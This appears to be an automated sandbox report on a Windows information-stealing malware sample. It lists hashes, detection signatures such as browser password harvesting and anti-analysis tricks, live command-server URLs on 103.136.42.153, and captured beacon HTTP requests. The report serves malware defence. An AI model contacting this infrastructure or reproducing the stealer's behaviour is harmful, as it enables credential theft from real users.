Edit tour

Windows Analysis Report
SecuriteInfo.com.Win32.Malware-gen.30674.exe

Overview

General Information

Sample Name:	SecuriteInfo.com.Win32.Malware-gen.30674.exe
Analysis ID:	700422
MD5:	e33d877aeec8818d72035377f935768d
SHA1:	4ac4a0a50c9ef6da3054bd5323661f02d586c61c
SHA256:	fbf66aa4641ee40b89b7adeb3479c0e3366991ebbd22c513e25223ac62116141
Tags:	exe
Infos:

Detection

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Multi AV Scanner detection for submitted file

Antivirus / Scanner detection for submitted sample

Detected unpacking (changes PE section rights)

Antivirus detection for URL or domain

Antivirus detection for dropped file

Multi AV Scanner detection for dropped file

Hides threads from debuggers

PE file has a writeable .text section

Machine Learning detection for sample

Drops PE files to the document folder of the user

Tries to detect virtualization through RDTSC time measurements

Machine Learning detection for dropped file

Tries to harvest and steal browser information (history, passwords, etc)

Uses 32bit PE files

Queries the volume information (name, serial number etc) of a device

May sleep (evasive loops) to hinder dynamic analysis

Uses code obfuscation techniques (call, push, ret)

PE file contains sections with non-standard names

JA3 SSL client fingerprint seen in connection with other malware

Entry point lies outside standard sections

Contains long sleeps (>= 3 min)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Sample file is different than original file name gathered from version info

PE file contains strange resources

Drops PE files

Uses a known web browser user agent for HTTP communication

Checks if the current process is being debugged

Queries disk information (often used to detect virtual machines)

Classification

Process Tree

System is w10x64

SecuriteInfo.com.Win32.Malware-gen.30674.exe (PID: 6072 cmdline: "C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.30674.exe" MD5: E33D877AEEC8818D72035377F935768D)

SecuriteInfo.com.Win32.Malware-gen.30674.exe (PID: 5940 cmdline: "C:\Users\user\Desktop\securiteinfo.com.win32.malware-gen.30674.exe" MD5: E33D877AEEC8818D72035377F935768D)

ielowutil.exe (PID: 736 cmdline: "C:\Program Files (x86)\Internet Explorer\IELowutil.exe" -PID:123 MD5: D1F5C3244A69511CAC88009B71884A71)

SecuriteInfo.com.Win32.Malware-gen.30674.exe (PID: 5860 cmdline: "C:\Users\user\Desktop\securiteinfo.com.win32.malware-gen.30674.exe" MD5: E33D877AEEC8818D72035377F935768D)

cleanup

Malware Configuration

⊘No configs have been found

Yara Signatures

⊘No yara matches

Sigma Signatures

⊘No Sigma rule has matched

Snort Signatures

⊘No Snort rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe	ReversingLabs: Detection: 47%
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe	Virustotal: Detection: 47%			Perma Link

Antivirus / Scanner detection for submitted sample

Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://103.136.42.153/d	Avira URL Cloud: Label: malware
Source: http://103.136.42.153/seemorebty/il.php?e=securiteinfo.com.win32.malware-gen.30674	Avira URL Cloud: Label: malware
Source: http://103.136.42.153/seemorebty/il.php?e=securiteinfo.com.win32.malware-gen.30674~	Avira URL Cloud: Label: malware
Source: http://103.136.42.153/seemorebty/poe.php?e=	Avira URL Cloud: Label: malware
Source: http://103.136.42.153/seemorebty/il.php?e=SecuriteInfo.com.Win32.Malware-gen.306744d	Avira URL Cloud: Label: malware
Source: http://103.136.42.153/	Avira URL Cloud: Label: malware
Source: http://103.136.42.153:80/seemorebty/il.php?e=SecuriteInfo.com.Win32.Malware-gen.30674e	Avira URL Cloud: Label: malware
Source: http://103.136.42.153/seemorebty/	Avira URL Cloud: Label: malware
Source: http://103.136.42.153	Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Source: C:\Users\user\Documents\VlcpVideoV1.0.1\SecuriteInfo.com.Win32.Malware-gen.30674.exe

Avira: detection malicious, Label: HEUR/AGEN.1248974

Multi AV Scanner detection for dropped file

Source: C:\Users\user\Documents\VlcpVideoV1.0.1\SecuriteInfo.com.Win32.Malware-gen.30674.exe

ReversingLabs: Detection: 47%

Machine Learning detection for sample

Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe

Joe Sandbox ML: detected

Machine Learning detection for dropped file

Source: C:\Users\user\Documents\VlcpVideoV1.0.1\SecuriteInfo.com.Win32.Malware-gen.30674.exe

Joe Sandbox ML: detected

Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 157.240.236.35:443 -> 192.168.2.7:49723 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 157.240.236.35:443 -> 192.168.2.7:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 31.13.92.36:443 -> 192.168.2.7:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.60.216.35:443 -> 192.168.2.7:49747 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.60.216.35:443 -> 192.168.2.7:49750 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 157.240.20.35:443 -> 192.168.2.7:49752 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 157.240.17.35:443 -> 192.168.2.7:49777 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 157.240.20.35:443 -> 192.168.2.7:49780 version: TLS 1.2

Source:

Binary string: C:\Users\30978\Desktop\new_Fb\Release\new_Fb.pdb source: SecuriteInfo.com.Win32.Malware-gen.30674.exe

Source: Joe Sandbox View

JA3 fingerprint: ce5f3254611a8c095a3d821d44539877

Source: global traffic	HTTP traffic detected: GET /%3Cbr%20/%3E%0A%3Cb%3EDeprecated%3C/b%3E:%20%20mysql_pconnect():%20The%20mysql%20extension%20is%20deprecated%20and%20will%20be%20removed%20in%20the%20future:%20use%20mysqli%20or%20PDO%20instead%20in%20%3Cb%3E/www/wwwroot/103.136.42.153/seemorebty/includes/database.php%3C/b%3E%20on%20line%20%3Cb%3E47%3C/b%3E%0A%3Cbr%20/%3E%0A%3Cbr%20/%3E%0A%3Cb%3EWarning%3C/b%3E:%20%20mysql_pconnect():%20Access%20denied%20for%20user%20'dbnew01'@'localhost'%20(using%20password:%20YES)%20in%20%3Cb%3E/www/wwwroot/103.136.42.153/seemorebty/includes/database.php%3C/b%3E%20on%20line%20%3Cb%3E47%3C/b%3E%0A%3Cbr%20/%3E%0A%3Cbr%20/%3E%0A%3Cb%3EWarning%3C/b%3E:%20%20mysql_query()%20expects%20parameter%202%20to%20be%20resource,%20boolean%20given%20in%20%3Cb%3E/www/wwwroot/103.136.42.153/seemorebty/includes/database.php%3C/b%3E%20on%20line%20%3Cb%3E73%3C/b%3E%0A%3Cbr%20/%3E%0A%3Cfont%20color=%22%23000000%22%3E%0A%3Cb%3E1045%20-%20Access%20denied%20for%20user%20'dbnew01'@'localhost'%20(using%20password:%20YES)%3Cbr%3E%0A%3Cbr%3Eselect%20iplogger%20from%20t_channels%20where%20name='SecuriteInfo.com.Win32.Malware-gen.30674'%20limit%200,1%3Cbr%3E%0A%3Cbr%3E%0A%3Csmall%3E%0A%3Cfont%20color=%22%23ff0000%22%3E%5BTEP%20STOP%5D%3C/font%3E%0A%3C/small%3E%0A%3Cbr%3E%0A%3Cbr%3E%0A%3C/b%3E%0A%3C/font%3E HTTP/1.1Connection: Keep-AliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image webp,image apng, q=0.8,application signed-exchange v=b3Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit 537.36 (KHTML, like Gecko) Chrome 70.0.3538.110 Safari 537.36Host: www.facebook.com
Source: global traffic	HTTP traffic detected: GET /%3Cbr%20/%3E%0A%3Cb%3EDeprecated%3C/b%3E:%20%20mysql_pconnect():%20The%20mysql%20extension%20is%20deprecated%20and%20will%20be%20removed%20in%20the%20future:%20use%20mysqli%20or%20PDO%20instead%20in%20%3Cb%3E/www/wwwroot/103.136.42.153/seemorebty/includes/database.php%3C/b%3E%20on%20line%20%3Cb%3E47%3C/b%3E%0A%3Cbr%20/%3E%0A%3Cbr%20/%3E%0A%3Cb%3EWarning%3C/b%3E:%20%20mysql_pconnect():%20Access%20denied%20for%20user%20'dbnew01'@'localhost'%20(using%20password:%20YES)%20in%20%3Cb%3E/www/wwwroot/103.136.42.153/seemorebty/includes/database.php%3C/b%3E%20on%20line%20%3Cb%3E47%3C/b%3E%0A%3Cbr%20/%3E%0A%3Cbr%20/%3E%0A%3Cb%3EWarning%3C/b%3E:%20%20mysql_query()%20expects%20parameter%202%20to%20be%20resource,%20boolean%20given%20in%20%3Cb%3E/www/wwwroot/103.136.42.153/seemorebty/includes/database.php%3C/b%3E%20on%20line%20%3Cb%3E73%3C/b%3E%0A%3Cbr%20/%3E%0A%3Cfont%20color=%22%23000000%22%3E%0A%3Cb%3E1045%20-%20Access%20denied%20for%20user%20'dbnew01'@'localhost'%20(using%20password:%20YES)%3Cbr%3E%0A%3Cbr%3Eselect%20iplogger%20from%20t_channels%20where%20name='securiteinfo.com.win32.malware-gen.30674'%20limit%200,1%3Cbr%3E%0A%3Cbr%3E%0A%3Csmall%3E%0A%3Cfont%20color=%22%23ff0000%22%3E%5BTEP%20STOP%5D%3C/font%3E%0A%3C/small%3E%0A%3Cbr%3E%0A%3Cbr%3E%0A%3C/b%3E%0A%3C/font%3E HTTP/1.1Connection: Keep-AliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image webp,image apng, q=0.8,application signed-exchange v=b3Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit 537.36 (KHTML, like Gecko) Chrome 70.0.3538.110 Safari 537.36Host: www.facebook.com
Source: global traffic	HTTP traffic detected: GET /%3Cbr%20/%3E%0A%3Cb%3EDeprecated%3C/b%3E:%20%20mysql_pconnect():%20The%20mysql%20extension%20is%20deprecated%20and%20will%20be%20removed%20in%20the%20future:%20use%20mysqli%20or%20PDO%20instead%20in%20%3Cb%3E/www/wwwroot/103.136.42.153/seemorebty/includes/database.php%3C/b%3E%20on%20line%20%3Cb%3E47%3C/b%3E%0A%3Cbr%20/%3E%0A%3Cbr%20/%3E%0A%3Cb%3EWarning%3C/b%3E:%20%20mysql_pconnect():%20Access%20denied%20for%20user%20'dbnew01'@'localhost'%20(using%20password:%20YES)%20in%20%3Cb%3E/www/wwwroot/103.136.42.153/seemorebty/includes/database.php%3C/b%3E%20on%20line%20%3Cb%3E47%3C/b%3E%0A%3Cbr%20/%3E%0A%3Cbr%20/%3E%0A%3Cb%3EWarning%3C/b%3E:%20%20mysql_query()%20expects%20parameter%202%20to%20be%20resource,%20boolean%20given%20in%20%3Cb%3E/www/wwwroot/103.136.42.153/seemorebty/includes/database.php%3C/b%3E%20on%20line%20%3Cb%3E73%3C/b%3E%0A%3Cbr%20/%3E%0A%3Cfont%20color=%22%23000000%22%3E%0A%3Cb%3E1045%20-%20Access%20denied%20for%20user%20'dbnew01'@'localhost'%20(using%20password:%20YES)%3Cbr%3E%0A%3Cbr%3Eselect%20iplogger%20from%20t_channels%20where%20name='securiteinfo.com.win32.malware-gen.30674'%20limit%200,1%3Cbr%3E%0A%3Cbr%3E%0A%3Csmall%3E%0A%3Cfont%20color=%22%23ff0000%22%3E%5BTEP%20STOP%5D%3C/font%3E%0A%3C/small%3E%0A%3Cbr%3E%0A%3Cbr%3E%0A%3C/b%3E%0A%3C/font%3E HTTP/1.1Connection: Keep-AliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image webp,image apng, q=0.8,application signed-exchange v=b3Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit 537.36 (KHTML, like Gecko) Chrome 70.0.3538.110 Safari 537.36Host: www.facebook.com
Source: global traffic	HTTP traffic detected: GET /%3Cbr%20/%3E%0A%3Cb%3EDeprecated%3C/b%3E:%20%20mysql_pconnect():%20The%20mysql%20extension%20is%20deprecated%20and%20will%20be%20removed%20in%20the%20future:%20use%20mysqli%20or%20PDO%20instead%20in%20%3Cb%3E/www/wwwroot/103.136.42.153/seemorebty/includes/database.php%3C/b%3E%20on%20line%20%3Cb%3E47%3C/b%3E%0A%3Cbr%20/%3E%0A%3Cbr%20/%3E%0A%3Cb%3EWarning%3C/b%3E:%20%20mysql_pconnect():%20Access%20denied%20for%20user%20'dbnew01'@'localhost'%20(using%20password:%20YES)%20in%20%3Cb%3E/www/wwwroot/103.136.42.153/seemorebty/includes/database.php%3C/b%3E%20on%20line%20%3Cb%3E47%3C/b%3E%0A%3Cbr%20/%3E%0A%3Cbr%20/%3E%0A%3Cb%3EWarning%3C/b%3E:%20%20mysql_query()%20expects%20parameter%202%20to%20be%20resource,%20boolean%20given%20in%20%3Cb%3E/www/wwwroot/103.136.42.153/seemorebty/includes/database.php%3C/b%3E%20on%20line%20%3Cb%3E73%3C/b%3E%0A%3Cbr%20/%3E%0A%3Cfont%20color=%22%23000000%22%3E%0A%3Cb%3E1045%20-%20Access%20denied%20for%20user%20'dbnew01'@'localhost'%20(using%20password:%20YES)%3Cbr%3E%0A%3Cbr%3Eselect%20iplogger%20from%20t_channels%20where%20name='securiteinfo.com.win32.malware-gen.30674'%20limit%200,1%3Cbr%3E%0A%3Cbr%3E%0A%3Csmall%3E%0A%3Cfont%20color=%22%23ff0000%22%3E%5BTEP%20STOP%5D%3C/font%3E%0A%3C/small%3E%0A%3Cbr%3E%0A%3Cbr%3E%0A%3C/b%3E%0A%3C/font%3E HTTP/1.1Connection: Keep-AliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image webp,image apng, q=0.8,application signed-exchange v=b3Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit 537.36 (KHTML, like Gecko) Chrome 70.0.3538.110 Safari 537.36Host: www.facebook.com
Source: global traffic	HTTP traffic detected: GET /%3Cbr%20/%3E%0A%3Cb%3EDeprecated%3C/b%3E:%20%20mysql_pconnect():%20The%20mysql%20extension%20is%20deprecated%20and%20will%20be%20removed%20in%20the%20future:%20use%20mysqli%20or%20PDO%20instead%20in%20%3Cb%3E/www/wwwroot/103.136.42.153/seemorebty/includes/database.php%3C/b%3E%20on%20line%20%3Cb%3E47%3C/b%3E%0A%3Cbr%20/%3E%0A%3Cbr%20/%3E%0A%3Cb%3EWarning%3C/b%3E:%20%20mysql_pconnect():%20Access%20denied%20for%20user%20'dbnew01'@'localhost'%20(using%20password:%20YES)%20in%20%3Cb%3E/www/wwwroot/103.136.42.153/seemorebty/includes/database.php%3C/b%3E%20on%20line%20%3Cb%3E47%3C/b%3E%0A%3Cbr%20/%3E%0A%3Cbr%20/%3E%0A%3Cb%3EWarning%3C/b%3E:%20%20mysql_query()%20expects%20parameter%202%20to%20be%20resource,%20boolean%20given%20in%20%3Cb%3E/www/wwwroot/103.136.42.153/seemorebty/includes/database.php%3C/b%3E%20on%20line%20%3Cb%3E73%3C/b%3E%0A%3Cbr%20/%3E%0A%3Cfont%20color=%22%23000000%22%3E%0A%3Cb%3E1045%20-%20Access%20denied%20for%20user%20'dbnew01'@'localhost'%20(using%20password:%20YES)%3Cbr%3E%0A%3Cbr%3Eselect%20iplogger%20from%20t_channels%20where%20name='securiteinfo.com.win32.malware-gen.30674'%20limit%200,1%3Cbr%3E%0A%3Cbr%3E%0A%3Csmall%3E%0A%3Cfont%20color=%22%23ff0000%22%3E%5BTEP%20STOP%5D%3C/font%3E%0A%3C/small%3E%0A%3Cbr%3E%0A%3Cbr%3E%0A%3C/b%3E%0A%3C/font%3E HTTP/1.1Connection: Keep-AliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image webp,image apng, q=0.8,application signed-exchange v=b3Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit 537.36 (KHTML, like Gecko) Chrome 70.0.3538.110 Safari 537.36Host: www.facebook.com
Source: global traffic	HTTP traffic detected: GET /%3Cbr%20/%3E%0A%3Cb%3EDeprecated%3C/b%3E:%20%20mysql_pconnect():%20The%20mysql%20extension%20is%20deprecated%20and%20will%20be%20removed%20in%20the%20future:%20use%20mysqli%20or%20PDO%20instead%20in%20%3Cb%3E/www/wwwroot/103.136.42.153/seemorebty/includes/database.php%3C/b%3E%20on%20line%20%3Cb%3E47%3C/b%3E%0A%3Cbr%20/%3E%0A%3Cbr%20/%3E%0A%3Cb%3EWarning%3C/b%3E:%20%20mysql_pconnect():%20Access%20denied%20for%20user%20'dbnew01'@'localhost'%20(using%20password:%20YES)%20in%20%3Cb%3E/www/wwwroot/103.136.42.153/seemorebty/includes/database.php%3C/b%3E%20on%20line%20%3Cb%3E47%3C/b%3E%0A%3Cbr%20/%3E%0A%3Cbr%20/%3E%0A%3Cb%3EWarning%3C/b%3E:%20%20mysql_query()%20expects%20parameter%202%20to%20be%20resource,%20boolean%20given%20in%20%3Cb%3E/www/wwwroot/103.136.42.153/seemorebty/includes/database.php%3C/b%3E%20on%20line%20%3Cb%3E73%3C/b%3E%0A%3Cbr%20/%3E%0A%3Cfont%20color=%22%23000000%22%3E%0A%3Cb%3E1045%20-%20Access%20denied%20for%20user%20'dbnew01'@'localhost'%20(using%20password:%20YES)%3Cbr%3E%0A%3Cbr%3Eselect%20iplogger%20from%20t_channels%20where%20name='SecuriteInfo.com.Win32.Malware-gen.30674'%20limit%200,1%3Cbr%3E%0A%3Cbr%3E%0A%3Csmall%3E%0A%3Cfont%20color=%22%23ff0000%22%3E%5BTEP%20STOP%5D%3C/font%3E%0A%3C/small%3E%0A%3Cbr%3E%0A%3Cbr%3E%0A%3C/b%3E%0A%3C/font%3E HTTP/1.1Connection: Keep-AliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image webp,image apng, q=0.8,application signed-exchange v=b3Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit 537.36 (KHTML, like Gecko) Chrome 70.0.3538.110 Safari 537.36Host: www.facebook.com
Source: global traffic	HTTP traffic detected: GET /%3Cbr%20/%3E%0A%3Cb%3EDeprecated%3C/b%3E:%20%20mysql_pconnect():%20The%20mysql%20extension%20is%20deprecated%20and%20will%20be%20removed%20in%20the%20future:%20use%20mysqli%20or%20PDO%20instead%20in%20%3Cb%3E/www/wwwroot/103.136.42.153/seemorebty/includes/database.php%3C/b%3E%20on%20line%20%3Cb%3E47%3C/b%3E%0A%3Cbr%20/%3E%0A%3Cbr%20/%3E%0A%3Cb%3EWarning%3C/b%3E:%20%20mysql_pconnect():%20Access%20denied%20for%20user%20'dbnew01'@'localhost'%20(using%20password:%20YES)%20in%20%3Cb%3E/www/wwwroot/103.136.42.153/seemorebty/includes/database.php%3C/b%3E%20on%20line%20%3Cb%3E47%3C/b%3E%0A%3Cbr%20/%3E%0A%3Cbr%20/%3E%0A%3Cb%3EWarning%3C/b%3E:%20%20mysql_query()%20expects%20parameter%202%20to%20be%20resource,%20boolean%20given%20in%20%3Cb%3E/www/wwwroot/103.136.42.153/seemorebty/includes/database.php%3C/b%3E%20on%20line%20%3Cb%3E73%3C/b%3E%0A%3Cbr%20/%3E%0A%3Cfont%20color=%22%23000000%22%3E%0A%3Cb%3E1045%20-%20Access%20denied%20for%20user%20'dbnew01'@'localhost'%20(using%20password:%20YES)%3Cbr%3E%0A%3Cbr%3Eselect%20iplogger%20from%20t_channels%20where%20name='securiteinfo.com.win32.malware-gen.30674'%20limit%200,1%3Cbr%3E%0A%3Cbr%3E%0A%3Csmall%3E%0A%3Cfont%20color=%22%23ff0000%22%3E%5BTEP%20STOP%5D%3C/font%3E%0A%3C/small%3E%0A%3Cbr%3E%0A%3Cbr%3E%0A%3C/b%3E%0A%3C/font%3E HTTP/1.1Connection: Keep-AliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image webp,image apng, q=0.8,application signed-exchange v=b3Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit 537.36 (KHTML, like Gecko) Chrome 70.0.3538.110 Safari 537.36Host: www.facebook.com
Source: global traffic	HTTP traffic detected: GET /%3Cbr%20/%3E%0A%3Cb%3EDeprecated%3C/b%3E:%20%20mysql_pconnect():%20The%20mysql%20extension%20is%20deprecated%20and%20will%20be%20removed%20in%20the%20future:%20use%20mysqli%20or%20PDO%20instead%20in%20%3Cb%3E/www/wwwroot/103.136.42.153/seemorebty/includes/database.php%3C/b%3E%20on%20line%20%3Cb%3E47%3C/b%3E%0A%3Cbr%20/%3E%0A%3Cbr%20/%3E%0A%3Cb%3EWarning%3C/b%3E:%20%20mysql_pconnect():%20Access%20denied%20for%20user%20'dbnew01'@'localhost'%20(using%20password:%20YES)%20in%20%3Cb%3E/www/wwwroot/103.136.42.153/seemorebty/includes/database.php%3C/b%3E%20on%20line%20%3Cb%3E47%3C/b%3E%0A%3Cbr%20/%3E%0A%3Cbr%20/%3E%0A%3Cb%3EWarning%3C/b%3E:%20%20mysql_query()%20expects%20parameter%202%20to%20be%20resource,%20boolean%20given%20in%20%3Cb%3E/www/wwwroot/103.136.42.153/seemorebty/includes/database.php%3C/b%3E%20on%20line%20%3Cb%3E73%3C/b%3E%0A%3Cbr%20/%3E%0A%3Cfont%20color=%22%23000000%22%3E%0A%3Cb%3E1045%20-%20Access%20denied%20for%20user%20'dbnew01'@'localhost'%20(using%20password:%20YES)%3Cbr%3E%0A%3Cbr%3Eselect%20iplogger%20from%20t_channels%20where%20name='SecuriteInfo.com.Win32.Malware-gen.30674'%20limit%200,1%3Cbr%3E%0A%3Cbr%3E%0A%3Csmall%3E%0A%3Cfont%20color=%22%23ff0000%22%3E%5BTEP%20STOP%5D%3C/font%3E%0A%3C/small%3E%0A%3Cbr%3E%0A%3Cbr%3E%0A%3C/b%3E%0A%3C/font%3E HTTP/1.1Connection: Keep-AliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image webp,image apng, q=0.8,application signed-exchange v=b3Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit 537.36 (KHTML, like Gecko) Chrome 70.0.3538.110 Safari 537.36Host: www.facebook.com
Source: global traffic	HTTP traffic detected: GET /seemorebty/il.php?e=SecuriteInfo.com.Win32.Malware-gen.30674 HTTP/1.1Connection: Keep-AliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image webp,image apng, q=0.8,application signed-exchange v=b3Accept-Language: en-US,en;q=0.9User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit 537.36 (KHTML, like Gecko) Chrome 70.0.3538.110 Safari 537.36Host: 103.136.42.153
Source: global traffic	HTTP traffic detected: GET /seemorebty/il.php?e=securiteinfo.com.win32.malware-gen.30674 HTTP/1.1Connection: Keep-AliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image webp,image apng, q=0.8,application signed-exchange v=b3Accept-Language: en-US,en;q=0.9User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit 537.36 (KHTML, like Gecko) Chrome 70.0.3538.110 Safari 537.36Host: 103.136.42.153
Source: global traffic	HTTP traffic detected: GET /seemorebty/il.php?e=securiteinfo.com.win32.malware-gen.30674 HTTP/1.1Connection: Keep-AliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image webp,image apng, q=0.8,application signed-exchange v=b3Accept-Language: en-US,en;q=0.9User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit 537.36 (KHTML, like Gecko) Chrome 70.0.3538.110 Safari 537.36Host: 103.136.42.153
Source: global traffic	HTTP traffic detected: GET /seemorebty/il.php?e=securiteinfo.com.win32.malware-gen.30674 HTTP/1.1Connection: Keep-AliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image webp,image apng, q=0.8,application signed-exchange v=b3Accept-Language: en-US,en;q=0.9User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit 537.36 (KHTML, like Gecko) Chrome 70.0.3538.110 Safari 537.36Host: 103.136.42.153
Source: global traffic	HTTP traffic detected: GET /seemorebty/il.php?e=securiteinfo.com.win32.malware-gen.30674 HTTP/1.1Connection: Keep-AliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image webp,image apng, q=0.8,application signed-exchange v=b3Accept-Language: en-US,en;q=0.9User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit 537.36 (KHTML, like Gecko) Chrome 70.0.3538.110 Safari 537.36Host: 103.136.42.153
Source: global traffic	HTTP traffic detected: GET /seemorebty/il.php?e=SecuriteInfo.com.Win32.Malware-gen.30674 HTTP/1.1Connection: Keep-AliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image webp,image apng, q=0.8,application signed-exchange v=b3Accept-Language: en-US,en;q=0.9User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit 537.36 (KHTML, like Gecko) Chrome 70.0.3538.110 Safari 537.36Host: 103.136.42.153
Source: global traffic	HTTP traffic detected: GET /seemorebty/il.php?e=securiteinfo.com.win32.malware-gen.30674 HTTP/1.1Connection: Keep-AliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image webp,image apng, q=0.8,application signed-exchange v=b3Accept-Language: en-US,en;q=0.9User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit 537.36 (KHTML, like Gecko) Chrome 70.0.3538.110 Safari 537.36Host: 103.136.42.153
Source: global traffic	HTTP traffic detected: GET /seemorebty/il.php?e=SecuriteInfo.com.Win32.Malware-gen.30674 HTTP/1.1Connection: Keep-AliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image webp,image apng, q=0.8,application signed-exchange v=b3Accept-Language: en-US,en;q=0.9User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit 537.36 (KHTML, like Gecko) Chrome 70.0.3538.110 Safari 537.36Host: 103.136.42.153

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundVary: Accept-Encodingreport-to: {"max_age":259200,"endpoints":[{"url":"https:\/\/www.facebook.com\/ajax\/browser_error_reports\/?device_level=unknown"}]}x-fb-rlafr: 0document-policy: force-load-at-topcross-origin-resource-policy: same-origincross-origin-opener-policy: same-origin-allow-popupsPragma: no-cacheCache-Control: private, no-cache, no-store, must-revalidateExpires: Sat, 01 Jan 2000 00:00:00 GMTX-Content-Type-Options: nosniffX-XSS-Protection: 0X-Frame-Options: DENYStrict-Transport-Security: max-age=15552000; preloadContent-Type: text/html; charset="utf-8"X-FB-Debug: ytxN2bvoeiXKvTioHaCNfZF8fh+0Oq+Gsw+KWfy3y3s+2OZAK1TiGy1wM0HtP+6HhPlXFHYQKMBBsxUlYc77QA==Date: Fri, 09 Sep 2022 16:00:12 GMTPriority: u=3,iTransfer-Encoding: chunkedAlt-Svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundVary: Accept-Encodingreport-to: {"max_age":259200,"endpoints":[{"url":"https:\/\/www.facebook.com\/ajax\/browser_error_reports\/?device_level=unknown"}]}x-fb-rlafr: 0document-policy: force-load-at-topcross-origin-resource-policy: same-origincross-origin-opener-policy: same-origin-allow-popupsPragma: no-cacheCache-Control: private, no-cache, no-store, must-revalidateExpires: Sat, 01 Jan 2000 00:00:00 GMTX-Content-Type-Options: nosniffX-XSS-Protection: 0X-Frame-Options: DENYStrict-Transport-Security: max-age=15552000; preloadContent-Type: text/html; charset="utf-8"X-FB-Debug: mLnd93x7XXw60uXz/iDflKR1IMgk/RndmtnyJ5Uwrf2dfLYKQztdiV/VjXaIDU26DboNV82hWYfoPAgcSWknig==Date: Fri, 09 Sep 2022 16:00:31 GMTTransfer-Encoding: chunkedAlt-Svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400Connection: close
